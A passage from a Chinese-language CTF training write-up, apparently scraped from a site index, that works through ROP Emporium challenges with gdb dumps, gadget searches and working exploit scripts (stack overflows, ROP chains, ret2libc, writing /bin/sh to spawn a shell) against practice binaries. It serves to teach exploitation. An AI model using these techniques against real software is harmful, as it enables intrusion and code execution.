<stdin@@GLIBC_2.2.5>\n 0x00000000004007fd <+72>: lea rax,[rbp-0x20]\n 0x0000000000400801 <+76>: mov esi,0x32\n 0x0000000000400806 <+81>: mov rdi,rax\n 0x0000000000400809 <+84>: call 0x400620 <fgets@plt>\n 0x000000000040080e <+89>: nop\n 0x000000000040080f <+90>: leave \n 0x0000000000400810 <+91>: ret\nEnd of assembler dump.\ngdb-peda$ disassemble ret2win\nDump of assembler code for function ret2win:\n 0x0000000000400811 <+0>: push rbp\n 0x0000000000400812 <+1>: mov rbp,rsp\n 0x0000000000400815 <+4>: mov edi,0x4009e0\n 0x000000000040081a <+9>: mov eax,0x0\n 0x000000000040081f <+14>: call 0x4005f0 <printf@plt>\n 0x0000000000400824 <+19>: mov edi,0x4009fd\n 0x0000000000400829 <+24>: call 0x4005e0 <system@plt>\n 0x000000000040082e <+29>: nop\n 0x000000000040082f <+30>: pop rbp\n 0x0000000000400830 <+31>: ret\nEnd of assembler dump.\n
\u9996\u5148\u4e0e 32 \u4f4d\u4e0d\u540c\u7684\u662f\u53c2\u6570\u4f20\u9012\uff0c64 \u4f4d\u7a0b\u5e8f\u7684\u524d\u516d\u4e2a\u53c2\u6570\u901a\u8fc7 RDI\u3001RSI\u3001RDX\u3001RCX\u3001R8 \u548c R9 \u4f20\u9012\u3002\u6240\u4ee5\u7f13\u51b2\u533a\u5927\u5c0f\u53c2\u6570\u901a\u8fc7 rdi \u4f20\u9012\u7ed9 fgets()
\uff0c\u5927\u5c0f\u4e3a 32 \u5b57\u8282\u3002
\u800c\u4e14\u7531\u4e8e ret \u7684\u5730\u5740\u4e0d\u5b58\u5728\uff0c\u7a0b\u5e8f\u505c\u5728\u4e86 => 0x400810 <pwnme+91>: ret
\u8fd9\u4e00\u6b65\uff0c\u8fd9\u662f\u56e0\u4e3a 64 \u4f4d\u53ef\u4ee5\u4f7f\u7528\u7684\u5185\u5b58\u5730\u5740\u4e0d\u80fd\u5927\u4e8e 0x00007fffffffffff
\uff0c\u5426\u5219\u5c31\u4f1a\u629b\u51fa\u5f02\u5e38\u3002
gdb-peda$ r\nStarting program: /home/firmy/Desktop/rop_emporium/ret2win/ret2win\nret2win by ROP Emporium\n64bits\n\nFor my first trick, I will attempt to fit 50 bytes of user input into 32 bytes of stack buffer;\nWhat could possibly go wrong?\nYou there madam, may I have your input please? And don't worry about null bytes, we're using fgets!\n\n> AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbA\n\nProgram received signal SIGSEGV, Segmentation fault.\n[----------------------------------registers-----------------------------------]\nRAX: 0x7fffffffe400 (\"AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAb\")\nRBX: 0x0\nRCX: 0x1f\nRDX: 0x7ffff7dd4710 --> 0x0\nRSI: 0x7fffffffe400 (\"AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAb\")\nRDI: 0x7fffffffe401 (\"AA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAb\")\nRBP: 0x6141414541412941 ('A)AAEAAa')\nRSP: 0x7fffffffe428 (\"AA0AAFAAb\")\nRIP: 0x400810 (<pwnme+91>: ret)\nR8 : 0x0\nR9 : 0x7ffff7fb94c0 (0x00007ffff7fb94c0)\nR10: 0x602260 (\"AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbA\\n\")\nR11: 0x246\nR12: 0x400650 (<_start>: xor ebp,ebp)\nR13: 0x7fffffffe510 --> 0x1\nR14: 0x0\nR15: 0x0\nEFLAGS: 0x10246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow)\n[-------------------------------------code-------------------------------------]\n 0x400809 <pwnme+84>: call 0x400620 <fgets@plt>\n 0x40080e <pwnme+89>: nop\n 0x40080f <pwnme+90>: leave \n=> 0x400810 <pwnme+91>: ret\n 0x400811 <ret2win>: push rbp\n 0x400812 <ret2win+1>: mov rbp,rsp\n 0x400815 <ret2win+4>: mov edi,0x4009e0\n 0x40081a <ret2win+9>: mov eax,0x0\n[------------------------------------stack-------------------------------------]\n0000| 0x7fffffffe428 (\"AA0AAFAAb\")\n0008| 0x7fffffffe430 --> 0x400062 --> 0x1f8000000000000\n0016| 0x7fffffffe438 --> 0x7ffff7a41f6a (<__libc_start_main+234>: mov edi,eax)\n0024| 0x7fffffffe440 --> 0x0\n0032| 0x7fffffffe448 --> 0x7fffffffe518 --> 0x7fffffffe870 (\"/home/firmy/Desktop/rop_emporium/ret2win/ret2win\")\n0040| 0x7fffffffe450 --> 0x100000000\n0048| 0x7fffffffe458 --> 0x400746 (<main>: push rbp)\n0056| 0x7fffffffe460 --> 0x0\n[------------------------------------------------------------------------------]\nLegend: code, data, rodata, value\nStopped reason: SIGSEGV\n0x0000000000400810 in pwnme ()\ngdb-peda$ pattern_offset $rbp\n7007954260868540737 found at offset: 32\ngdb-peda$ pattern_offset AA0AAFAAb\nAA0AAFAAb found at offset: 40\n
re2win()
\u7684\u5730\u5740\u4e3a 0x0000000000400811
\uff0cpayload \u5982\u4e0b\uff1a
from zio import *\n\npayload = \"A\"*40 + l64(0x0000000000400811)\n\nio = zio('./ret2win')\nio.writeline(payload)\nio.read()\n
"},{"location":"Training/Material/Binary%20Exploitation/#split32","title":"split32","text":"\u8fd9\u4e00\u9898\u4e5f\u662f ret2text\uff0c\u4f46\u8fd9\u4e00\u6b21\uff0c\u6211\u4eec\u6709\u7684\u662f\u4e00\u4e2a usefulFunction()
\u51fd\u6570\uff1a
gdb-peda$ disassemble usefulFunction\nDump of assembler code for function usefulFunction:\n 0x08048649 <+0>: push ebp\n 0x0804864a <+1>: mov ebp,esp\n 0x0804864c <+3>: sub esp,0x8\n 0x0804864f <+6>: sub esp,0xc\n 0x08048652 <+9>: push 0x8048747\n 0x08048657 <+14>: call 0x8048430 <system@plt>\n 0x0804865c <+19>: add esp,0x10\n 0x0804865f <+22>: nop\n 0x08048660 <+23>: leave \n 0x08048661 <+24>: ret\nEnd of assembler dump.\n
\u5b83\u8c03\u7528 system()
\u51fd\u6570\uff0c\u800c\u6211\u4eec\u8981\u505a\u7684\u662f\u7ed9\u5b83\u4f20\u9012\u4e00\u4e2a\u53c2\u6570\uff0c\u6267\u884c\u8be5\u53c2\u6570\u540e\u53ef\u4ee5\u6253\u5370\u51fa flag\u3002
\u4f7f\u7528 radare2 \u4e2d\u7684\u5de5\u5177 rabin2 \u5728 .data
\u6bb5\u4e2d\u641c\u7d22\u5b57\u7b26\u4e32\uff1a
$ rabin2 -z split32\n...\nvaddr=0x0804a030 paddr=0x00001030 ordinal=000 sz=18 len=17 section=.data type=ascii string=/bin/cat flag.txt\n
\u6211\u4eec\u53d1\u73b0\u5b58\u5728\u5b57\u7b26\u4e32 /bin/cat flag.txt
\uff0c\u8fd9\u6b63\u662f\u6211\u4eec\u9700\u8981\u7684\uff0c\u5730\u5740\u4e3a 0x0804a030
\u3002
\u4e0b\u9762\u6784\u9020 payload\uff0c\u8fd9\u91cc\u5c31\u6709\u4e24\u79cd\u65b9\u6cd5\uff0c\u4e00\u79cd\u662f\u76f4\u63a5\u4f7f\u7528\u8c03\u7528 system()
\u51fd\u6570\u7684\u5730\u5740 0x08048657
\uff0c\u53e6\u4e00\u79cd\u662f\u4f7f\u7528 system()
\u7684 plt \u5730\u5740 0x8048430
\uff0c\u5728\u524d\u9762\u7684\u7ae0\u8282\u4e2d\u6211\u4eec\u5df2\u7ecf\u77e5\u9053\u4e86 plt \u7684\u5ef6\u8fdf\u7ed1\u5b9a\u673a\u5236\uff081.5.6\u52a8\u6001\u94fe\u63a5\uff09\uff0c\u8fd9\u91cc\u6211\u4eec\u518d\u56de\u987e\u4e00\u4e0b\uff1a
\u7ed1\u5b9a\u524d\uff1a
gdb-peda$ disassemble system\nDump of assembler code for function system@plt:\n 0x08048430 <+0>: jmp DWORD PTR ds:0x804a018\n 0x08048436 <+6>: push 0x18\n 0x0804843b <+11>: jmp 0x80483f0\ngdb-peda$ x/5x 0x804a018 \n0x804a018: 0x08048436 0x08048446 0x08048456 0x08048466\n0x804a028: 0x00000000\n
\u7ed1\u5b9a\u540e\uff1a
gdb-peda$ disassemble system\nDump of assembler code for function system:\n 0xf7df9c50 <+0>: sub esp,0xc\n 0xf7df9c53 <+3>: mov eax,DWORD PTR [esp+0x10]\n 0xf7df9c57 <+7>: call 0xf7ef32cd <__x86.get_pc_thunk.dx>\n 0xf7df9c5c <+12>: add edx,0x1951cc\n 0xf7df9c62 <+18>: test eax,eax\n 0xf7df9c64 <+20>: je 0xf7df9c70 <system+32>\n 0xf7df9c66 <+22>: add esp,0xc\n 0xf7df9c69 <+25>: jmp 0xf7df9700 <do_system>\n 0xf7df9c6e <+30>: xchg ax,ax\n 0xf7df9c70 <+32>: lea eax,[edx-0x57616]\n 0xf7df9c76 <+38>: call 0xf7df9700 <do_system>\n 0xf7df9c7b <+43>: test eax,eax\n 0xf7df9c7d <+45>: sete al\n 0xf7df9c80 <+48>: add esp,0xc\n 0xf7df9c83 <+51>: movzx eax,al\n 0xf7df9c86 <+54>: ret\nEnd of assembler dump.\ngdb-peda$ x/5x 0x08048430\n0x8048430 <system@plt>: 0xa01825ff 0x18680804 0xe9000000 0xffffffb0\n0x8048440 <__libc_start_main@plt>: 0xa01c25ff\n
\u5176\u5b9e\u8fd9\u91cc\u8bb2 plt \u4e0d\u662f\u5f88\u786e\u5207\uff0c\u56e0\u4e3a system \u4f7f\u7528\u592a\u9891\u7e41\uff0c\u5728\u6211\u4eec\u4f7f\u7528\u5b83\u4e4b\u524d\uff0c\u5b83\u5c31\u5df2\u7ecf\u7ed1\u5b9a\u4e86\uff0c\u5728\u540e\u9762\u7684\u6311\u6218\u4e2d\u6211\u4eec\u4f1a\u9047\u5230\u6ca1\u6709\u7ed1\u5b9a\u7684\u60c5\u51b5\u3002
\u4e24\u79cd payload \u5982\u4e0b\uff1a
$ python2 -c \"print 'A'*44 + '\\x57\\x86\\x04\\x08' + '\\x30\\xa0\\x04\\x08'\" | ./split32\n...\n> ROPE{a_placeholder_32byte_flag!}\nfrom zio import *\n\npayload = \"A\"*44\npayload += l32(0x08048430)\npayload += \"BBBB\"\npayload += l32(0x0804a030)\n\nio = zio('./split32')\nio.writeline(payload)\nio.read()\n
\u6ce8\u610f \"BBBB\" \u662f\u65b0\u7684\u8fd4\u56de\u5730\u5740\uff0c\u5982\u679c\u51fd\u6570 ret\uff0c\u5c31\u4f1a\u6267\u884c \"BBBB\" \u5904\u7684\u6307\u4ee4\uff0c\u901a\u5e38\u8fd9\u91cc\u4f1a\u653e\u7f6e\u4e00\u4e9b pop;pop;ret
\u4e4b\u7c7b\u7684\u6307\u4ee4\u5730\u5740\uff0c\u4ee5\u5e73\u8861\u5806\u6808\u3002\u4ece system() \u51fd\u6570\u4e2d\u4e5f\u80fd\u770b\u51fa\u6765\uff0c\u5b83\u73b0\u5c06 esp \u51cf\u53bb 0xc\uff0c\u518d\u53d6\u5730\u5740 esp+0x10 \u5904\u7684\u6307\u4ee4\uff0c\u4e5f\u5c31\u662f \"BBBB\" \u7684\u540e\u4e00\u4e2a\uff0c\u5373\u5b57\u7b26\u4e32\u7684\u5730\u5740\u3002\u56e0\u4e3a system()
\u662f libc \u4e2d\u7684\u51fd\u6570\uff0c\u6240\u4ee5\u8fd9\u79cd\u65b9\u6cd5\u79f0\u4f5c ret2libc\u3002
$ rabin2 -z split\n...\nvaddr=0x00601060 paddr=0x00001060 ordinal=000 sz=18 len=17 section=.data type=ascii string=/bin/cat flag.txt\n
\u5b57\u7b26\u4e32\u5730\u5740\u5728 0x00601060
\u3002
gdb-peda$ disassemble usefulFunction\nDump of assembler code for function usefulFunction:\n 0x0000000000400807 <+0>: push rbp\n 0x0000000000400808 <+1>: mov rbp,rsp\n 0x000000000040080b <+4>: mov edi,0x4008ff\n 0x0000000000400810 <+9>: call 0x4005e0 <system@plt>\n 0x0000000000400815 <+14>: nop\n 0x0000000000400816 <+15>: pop rbp\n 0x0000000000400817 <+16>: ret\nEnd of assembler dump.\n
64 \u4f4d\u7a0b\u5e8f\u7684\u7b2c\u4e00\u4e2a\u53c2\u6570\u901a\u8fc7 edi \u4f20\u9012\uff0c\u6240\u4ee5\u6211\u4eec\u9700\u8981\u518d\u8c03\u7528\u4e00\u4e2a gadgets \u6765\u5c06\u5b57\u7b26\u4e32\u7684\u5730\u5740\u5b58\u8fdb edi\u3002
\u6211\u4eec\u5148\u627e\u5230\u9700\u8981\u7684 gadgets\uff1a
gdb-peda$ ropsearch \"pop rdi; ret\"\nSearching for ROP gadget: 'pop rdi; ret' in: binary ranges\n0x00400883 : (b'5fc3') pop rdi; ret\n
\u4e0b\u9762\u662f payload\uff1a
$ python2 -c \"print 'A'*40 + '\\x83\\x08\\x40\\x00\\x00\\x00\\x00\\x00' + '\\x60\\x10\\x60\\x00\\x00\\x00\\x00\\x00' + '\\x10\\x08\\x40\\x00\\x00\\x00\\x00\\x00'\" | ./split\n...\n> ROPE{a_placeholder_32byte_flag!}\n
\u90a3\u6211\u4eec\u662f\u5426\u8fd8\u53ef\u4ee5\u7528\u524d\u9762\u90a3\u79cd\u65b9\u6cd5\u8c03\u7528 system()
\u7684 plt \u5730\u5740 0x4005e0
\u5462\uff1a
gdb-peda$ disassemble system\nDump of assembler code for function system:\n 0x00007ffff7a63010 <+0>: test rdi,rdi\n 0x00007ffff7a63013 <+3>: je 0x7ffff7a63020 <system+16>\n 0x00007ffff7a63015 <+5>: jmp 0x7ffff7a62a70 <do_system>\n 0x00007ffff7a6301a <+10>: nop WORD PTR [rax+rax*1+0x0]\n 0x00007ffff7a63020 <+16>: lea rdi,[rip+0x138fd6] # 0x7ffff7b9bffd\n 0x00007ffff7a63027 <+23>: sub rsp,0x8\n 0x00007ffff7a6302b <+27>: call 0x7ffff7a62a70 <do_system>\n 0x00007ffff7a63030 <+32>: test eax,eax\n 0x00007ffff7a63032 <+34>: sete al\n 0x00007ffff7a63035 <+37>: add rsp,0x8\n 0x00007ffff7a63039 <+41>: movzx eax,al\n 0x00007ffff7a6303c <+44>: ret\nEnd of assembler dump.\n
\u4f9d\u7136\u53ef\u4ee5\uff0c\u56e0\u4e3a\u53c2\u6570\u7684\u4f20\u9012\u6ca1\u6709\u7528\u5230\u6808\uff0c\u6211\u4eec\u53ea\u9700\u628a\u5730\u5740\u76f4\u63a5\u66f4\u6539\u5c31\u53ef\u4ee5\u4e86\uff1a
from zio import *\n\npayload = \"A\"*40\npayload += l64(0x00400883)\npayload += l64(0x00601060)\npayload += l64(0x4005e0)\n\nio = zio('./split')\nio.writeline(payload)\nio.read()\n
"},{"location":"Training/Material/Binary%20Exploitation/#callme32","title":"callme32","text":"\u8fd9\u91cc\u6211\u4eec\u8981\u63a5\u89e6\u771f\u6b63\u7684 plt \u4e86\uff0c\u6839\u636e\u9898\u76ee\u63d0\u793a\uff0ccallme32 \u4ece\u5171\u4eab\u5e93 libcallme32.so \u4e2d\u5bfc\u5165\u4e09\u4e2a\u7279\u6b8a\u7684\u51fd\u6570\uff1a
$ rabin2 -i callme32 | grep callme\nordinal=004 plt=0x080485b0 bind=GLOBAL type=FUNC name=callme_three\nordinal=005 plt=0x080485c0 bind=GLOBAL type=FUNC name=callme_one\nordinal=012 plt=0x08048620 bind=GLOBAL type=FUNC name=callme_two\n
\u6211\u4eec\u8981\u505a\u7684\u662f\u4f9d\u6b21\u8c03\u7528 callme_one()
\u3001callme_two()
\u548c callme_three()
\uff0c\u5e76\u4e14\u6bcf\u4e2a\u51fd\u6570\u90fd\u8981\u4f20\u5165\u53c2\u6570 1
\u30012
\u30013
\u3002\u901a\u8fc7\u8c03\u8bd5\u6211\u4eec\u80fd\u591f\u77e5\u9053\u51fd\u6570\u903b\u8f91\uff0ccallme_one
\u7528\u4e8e\u8bfb\u5165\u52a0\u5bc6\u540e\u7684 flag\uff0c\u7136\u540e\u4f9d\u6b21\u8c03\u7528 callme_two
\u548c callme_three
\u8fdb\u884c\u89e3\u5bc6\u3002
\u7531\u4e8e\u51fd\u6570\u53c2\u6570\u662f\u653e\u5728\u6808\u4e0a\u7684\uff0c\u4e3a\u4e86\u5e73\u8861\u5806\u6808\uff0c\u6211\u4eec\u9700\u8981\u4e00\u4e2a pop;pop;pop;ret
\u7684 gadgets\uff1a
$ objdump -d callme32 | grep -A 3 pop\n...\n 80488a8: 5b pop %ebx\n 80488a9: 5e pop %esi\n 80488aa: 5f pop %edi\n 80488ab: 5d pop %ebp\n 80488ac: c3 ret\n 80488ad: 8d 76 00 lea 0x0(%esi),%esi\n...\n
\u6216\u8005\u662f add esp, 8; pop; ret
\uff0c\u53cd\u6b63\u53ea\u8981\u80fd\u5e73\u8861\uff0c\u90fd\u53ef\u4ee5\uff1a
gdb-peda$ ropsearch \"add esp, 8\"\nSearching for ROP gadget: 'add esp, 8' in: binary ranges\n0x08048576 : (b'83c4085bc3') add esp,0x8; pop ebx; ret\n0x080488c3 : (b'83c4085bc3') add esp,0x8; pop ebx; ret\n
\u6784\u9020 payload \u5982\u4e0b\uff1a
from zio import *\n\npayload = \"A\"*44\n\npayload += l32(0x080485c0)\npayload += l32(0x080488a9)\npayload += l32(0x1) + l32(0x2) + l32(0x3)\n\npayload += l32(0x08048620)\npayload += l32(0x080488a9)\npayload += l32(0x1) + l32(0x2) + l32(0x3)\n\npayload += l32(0x080485b0)\npayload += l32(0x080488a9)\npayload += l32(0x1) + l32(0x2) + l32(0x3)\n\nio = zio('./callme32')\nio.writeline(payload)\nio.read()\n
"},{"location":"Training/Material/Binary%20Exploitation/#callme","title":"callme","text":"64 \u4f4d\u7a0b\u5e8f\u4e0d\u9700\u8981\u5e73\u8861\u5806\u6808\u4e86\uff0c\u53ea\u8981\u5c06\u53c2\u6570\u6309\u987a\u5e8f\u4f9d\u6b21\u653e\u8fdb\u5bc4\u5b58\u5668\u4e2d\u5c31\u53ef\u4ee5\u4e86\u3002
$ rabin2 -i callme | grep callme\nordinal=004 plt=0x00401810 bind=GLOBAL type=FUNC name=callme_three\nordinal=008 plt=0x00401850 bind=GLOBAL type=FUNC name=callme_one\nordinal=011 plt=0x00401870 bind=GLOBAL type=FUNC name=callme_two\ngdb-peda$ ropsearch \"pop rdi; pop rsi\"\nSearching for ROP gadget: 'pop rdi; pop rsi' in: binary ranges\n0x00401ab0 : (b'5f5e5ac3') pop rdi; pop rsi; pop rdx; ret\n
payload \u5982\u4e0b\uff1a
from zio import *\n\npayload = \"A\"*40\n\npayload += l64(0x00401ab0)\npayload += l64(0x1) + l64(0x2) + l64(0x3)\npayload += l64(0x00401850)\n\npayload += l64(0x00401ab0)\npayload += l64(0x1) + l64(0x2) + l64(0x3)\npayload += l64(0x00401870)\n\npayload += l64(0x00401ab0)\npayload += l64(0x1) + l64(0x2) + l64(0x3)\npayload += l64(0x00401810)\n\nio = zio('./callme')\nio.writeline(payload)\nio.read()\n
"},{"location":"Training/Material/Binary%20Exploitation/#write432","title":"write432","text":"\u8fd9\u4e00\u6b21\uff0c\u6211\u4eec\u5df2\u7ecf\u4e0d\u80fd\u5728\u7a0b\u5e8f\u4e2d\u627e\u5230\u53ef\u4ee5\u6267\u884c\u7684\u8bed\u53e5\u4e86\uff0c\u4f46\u6211\u4eec\u53ef\u4ee5\u5229\u7528 gadgets \u5c06 /bin/sh
\u5199\u5165\u5230\u76ee\u6807\u8fdb\u7a0b\u7684\u865a\u62df\u5185\u5b58\u7a7a\u95f4\u4e2d\uff0c\u5982 .data
\u6bb5\u4e2d\uff0c\u518d\u8c03\u7528 system() \u6267\u884c\u5b83\uff0c\u4ece\u800c\u62ff\u5230 shell\u3002\u8981\u8ba4\u8bc6\u5230\u4e00\u4e2a\u91cd\u8981\u7684\u70b9\u662f\uff0cROP \u53ea\u662f\u4e00\u79cd\u4efb\u610f\u4ee3\u7801\u6267\u884c\u7684\u5f62\u5f0f\uff0c\u53ea\u8981\u6211\u4eec\u6709\u521b\u610f\uff0c\u5c31\u53ef\u4ee5\u5229\u7528\u5b83\u6765\u6267\u884c\u8bf8\u5982\u5185\u5b58\u8bfb\u5199\u7b49\u64cd\u4f5c\u3002
\u8fd9\u79cd\u65b9\u6cd5\u867d\u7136\u597d\u7528\uff0c\u4f46\u8fd8\u662f\u8981\u8003\u8651\u6211\u4eec\u5199\u5165\u5730\u5740\u7684\u8bfb\u5199\u548c\u6267\u884c\u6743\u9650\uff0c\u4ee5\u53ca\u5b83\u80fd\u63d0\u4f9b\u7684\u7a7a\u95f4\u662f\u591a\u5c11\uff0c\u6211\u4eec\u5199\u5165\u7684\u5185\u5bb9\u662f\u5426\u4f1a\u5f71\u54cd\u5230\u7a0b\u5e8f\u6267\u884c\u7b49\u95ee\u9898\u3002\u5982\u6211\u4eec\u63a5\u4e0b\u6765\u60f3\u628a\u5b57\u7b26\u4e32\u5199\u5165 .data
\u6bb5\uff0c\u6211\u4eec\u770b\u4e00\u4e0b\u5b83\u7684\u6743\u9650\u548c\u5927\u5c0f\u7b49\u4fe1\u606f\uff1a
$ readelf -S write432\n [Nr] Name Type Addr Off Size ES Flg Lk Inf Al\n ...\n [16] .rodata PROGBITS 080486f8 0006f8 000064 00 A 0 0 4\n [25] .data PROGBITS 0804a028 001028 000008 00 WA 0 0 4\n
\u53ef\u4ee5\u770b\u5230 .data
\u5177\u6709 WA
\uff0c\u5373\u5199\u5165\uff08write\uff09\u548c\u5206\u914d\uff08alloc\uff09\u7684\u6743\u5229\uff0c\u800c .rodata
\u5c31\u4e0d\u80fd\u5199\u5165\u3002
\u4f7f\u7528\u5de5\u5177 ropgadget \u53ef\u4ee5\u5f88\u65b9\u4fbf\u5730\u627e\u5230\u6211\u4eec\u9700\u8981\u7684 gadgets\uff1a
$ ropgadget --binary write432 --only \"mov|pop|ret\"\n...\n0x08048670 : mov dword ptr [edi], ebp ; ret\n0x080486da : pop edi ; pop ebp ; ret\n
\u53e6\u5916\u9700\u8981\u6ce8\u610f\u7684\u662f\uff0c\u6211\u4eec\u8fd9\u91cc\u662f 32 \u4f4d\u7a0b\u5e8f\uff0c\u6bcf\u6b21\u53ea\u80fd\u5199\u5165 4 \u4e2a\u5b57\u8282\uff0c\u6240\u4ee5\u8981\u5206\u6210\u4e24\u6b21\u5199\u5165\uff0c\u8fd8\u5f97\u6ce8\u610f\u5b57\u7b26\u5bf9\u9f50\uff0c\u6709\u6ca1\u6709\u622a\u65ad\u5b57\u7b26\uff08\\x00
,\\x0a
\u7b49\uff09\u4e4b\u7c7b\u7684\u95ee\u9898\uff0c\u6bd4\u5982\u8fd9\u91cc /bin/sh
\u53ea\u6709\u4e03\u4e2a\u5b57\u8282\uff0c\u6211\u4eec\u53ef\u4ee5\u4f7f\u7528 /bin/sh\\00
\u6216\u8005 /bin//sh
\uff0c\u6784\u9020 payload \u5982\u4e0b\uff1a
from zio import *\n\npop_edi_ebp = 0x080486da\nmov_edi_ebp = 0x08048670\n\ndata_addr = 0x804a028\nsystem_plt = 0x8048430\n\npayload = \"\"\npayload += \"A\"*44\npayload += l32(pop_edi_ebp)\npayload += l32(data_addr)\npayload += \"/bin\"\npayload += l32(mov_edi_ebp)\npayload += l32(pop_edi_ebp)\npayload += l32(data_addr+4)\npayload += \"/sh\\x00\"\npayload += l32(mov_edi_ebp)\npayload += l32(system_plt)\npayload += \"BBBB\"\npayload += l32(data_addr)\n\nio = zio('./write432')\nio.writeline(payload)\nio.interact()\n$ python2 run.py\nAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA(/binp,/shp0BBBB(\ufffd\nwrite4 by ROP Emporium\n32bits\n\nGo ahead and give me the string already!\n> cat flag.txt\nROPE{a_placeholder_32byte_flag!}\n
"},{"location":"Training/Material/Binary%20Exploitation/#write4","title":"write4","text":"64 \u4f4d\u7a0b\u5e8f\u5c31\u53ef\u4ee5\u4e00\u6b21\u6027\u5199\u5165\u4e86\u3002
$ ropgadget --binary write4 --only \"mov|pop|ret\"\n...\n0x0000000000400820 : mov qword ptr [r14], r15 ; ret\n0x0000000000400890 : pop r14 ; pop r15 ; ret\n0x0000000000400893 : pop rdi ; ret\nfrom pwn import *\n\npop_r14_r15 = 0x0000000000400890\nmov_r14_r15 = 0x0000000000400820\npop_rdi = 0x0000000000400893\ndata_addr = 0x0000000000601050\nsystem_plt = 0x004005e0\n\npayload = \"A\"*40\npayload += p64(pop_r14_r15)\npayload += p64(data_addr)\npayload += \"/bin/sh\\x00\"\npayload += p64(mov_r14_r15)\npayload += p64(pop_rdi)\npayload += p64(data_addr)\npayload += p64(system_plt)\n\nio = process('./write4')\nio.recvuntil('>')\nio.sendline(payload)\nio.interactive()\n
"},{"location":"Training/Material/Binary%20Exploitation/#badchars32","title":"badchars32","text":"\u5728\u8fd9\u4e2a\u6311\u6218\u4e2d\uff0c\u6211\u4eec\u4f9d\u7136\u8981\u5c06 /bin/sh
\u5199\u5165\u5230\u8fdb\u7a0b\u5185\u5b58\u4e2d\uff0c\u4f46\u8fd9\u4e00\u6b21\u7a0b\u5e8f\u5728\u8bfb\u53d6\u8f93\u5165\u65f6\u4f1a\u5bf9\u654f\u611f\u5b57\u7b26\u8fdb\u884c\u68c0\u67e5\uff0c\u67e5\u770b\u51fd\u6570 checkBadchars()
\uff1a
gdb-peda$ disassemble checkBadchars\nDump of assembler code for function checkBadchars:\n 0x08048801 <+0>: push ebp\n 0x08048802 <+1>: mov ebp,esp\n 0x08048804 <+3>: sub esp,0x10\n 0x08048807 <+6>: mov BYTE PTR [ebp-0x10],0x62\n 0x0804880b <+10>: mov BYTE PTR [ebp-0xf],0x69\n 0x0804880f <+14>: mov BYTE PTR [ebp-0xe],0x63\n 0x08048813 <+18>: mov BYTE PTR [ebp-0xd],0x2f\n 0x08048817 <+22>: mov BYTE PTR [ebp-0xc],0x20\n 0x0804881b <+26>: mov BYTE PTR [ebp-0xb],0x66\n 0x0804881f <+30>: mov BYTE PTR [ebp-0xa],0x6e\n 0x08048823 <+34>: mov BYTE PTR [ebp-0x9],0x73\n 0x08048827 <+38>: mov DWORD PTR [ebp-0x4],0x0\n 0x0804882e <+45>: mov DWORD PTR [ebp-0x8],0x0\n 0x08048835 <+52>: mov DWORD PTR [ebp-0x4],0x0\n 0x0804883c <+59>: jmp 0x804887c <checkBadchars+123>\n 0x0804883e <+61>: mov DWORD PTR [ebp-0x8],0x0\n 0x08048845 <+68>: jmp 0x8048872 <checkBadchars+113>\n 0x08048847 <+70>: mov edx,DWORD PTR [ebp+0x8]\n 0x0804884a <+73>: mov eax,DWORD PTR [ebp-0x4]\n 0x0804884d <+76>: add eax,edx\n 0x0804884f <+78>: movzx edx,BYTE PTR [eax]\n 0x08048852 <+81>: lea ecx,[ebp-0x10]\n 0x08048855 <+84>: mov eax,DWORD PTR [ebp-0x8]\n 0x08048858 <+87>: add eax,ecx\n 0x0804885a <+89>: movzx eax,BYTE PTR [eax]\n 0x0804885d <+92>: cmp dl,al\n 0x0804885f <+94>: jne 0x804886e <checkBadchars+109>\n 0x08048861 <+96>: mov edx,DWORD PTR [ebp+0x8]\n 0x08048864 <+99>: mov eax,DWORD PTR [ebp-0x4]\n 0x08048867 <+102>: add eax,edx\n 0x08048869 <+104>: mov BYTE PTR [eax],0xeb\n 0x0804886c <+107>: jmp 0x8048878 <checkBadchars+119>\n 0x0804886e <+109>: add DWORD PTR [ebp-0x8],0x1\n 0x08048872 <+113>: cmp DWORD PTR [ebp-0x8],0x7\n 0x08048876 <+117>: jbe 0x8048847 <checkBadchars+70>\n 0x08048878 <+119>: add DWORD PTR [ebp-0x4],0x1\n 0x0804887c <+123>: mov eax,DWORD PTR [ebp-0x4]\n 0x0804887f <+126>: cmp eax,DWORD PTR [ebp+0xc]\n 0x08048882 <+129>: jb 0x804883e <checkBadchars+61>\n 0x08048884 <+131>: nop\n 0x08048885 <+132>: leave \n 0x08048886 <+133>: ret\nEnd of assembler dump.\n
\u5f88\u660e\u663e\uff0c\u5730\u5740 0x08048807
\u5230 0x08048823
\u7684\u5b57\u7b26\u5c31\u662f\u6240\u8c13\u7684\u654f\u611f\u5b57\u7b26\u3002\u5904\u7406\u654f\u611f\u5b57\u7b26\u5728\u5229\u7528\u5f00\u53d1\u4e2d\u662f\u7ecf\u5e38\u8981\u7528\u5230\u7684\uff0c\u4e0d\u4ec5\u4ec5\u662f\u8981\u5bf9\u53c2\u6570\u8fdb\u884c\u7f16\u7801\uff0c\u6709\u65f6\u751a\u81f3\u5730\u5740\u4e5f\u8981\u5982\u6b64\u3002\u8fd9\u91cc\u6211\u4eec\u4f7f\u7528\u7b80\u5355\u7684\u5f02\u6216\u64cd\u4f5c\u6765\u5bf9\u5b57\u7b26\u4e32\u7f16\u7801\u548c\u89e3\u7801\u3002
\u627e\u5230 gadgets\uff1a
$ ropgadget --binary badchars32 --only \"mov|pop|ret|xor\"\n...\n0x08048893 : mov dword ptr [edi], esi ; ret\n0x08048896 : pop ebx ; pop ecx ; ret\n0x08048899 : pop esi ; pop edi ; ret\n0x08048890 : xor byte ptr [ebx], cl ; ret\n
\u6574\u4e2a\u5229\u7528\u8fc7\u7a0b\u5c31\u662f\u5199\u5165\u524d\u7f16\u7801\uff0c\u4f7f\u7528\u524d\u89e3\u7801\uff0c\u4e0b\u9762\u662f payload\uff1a
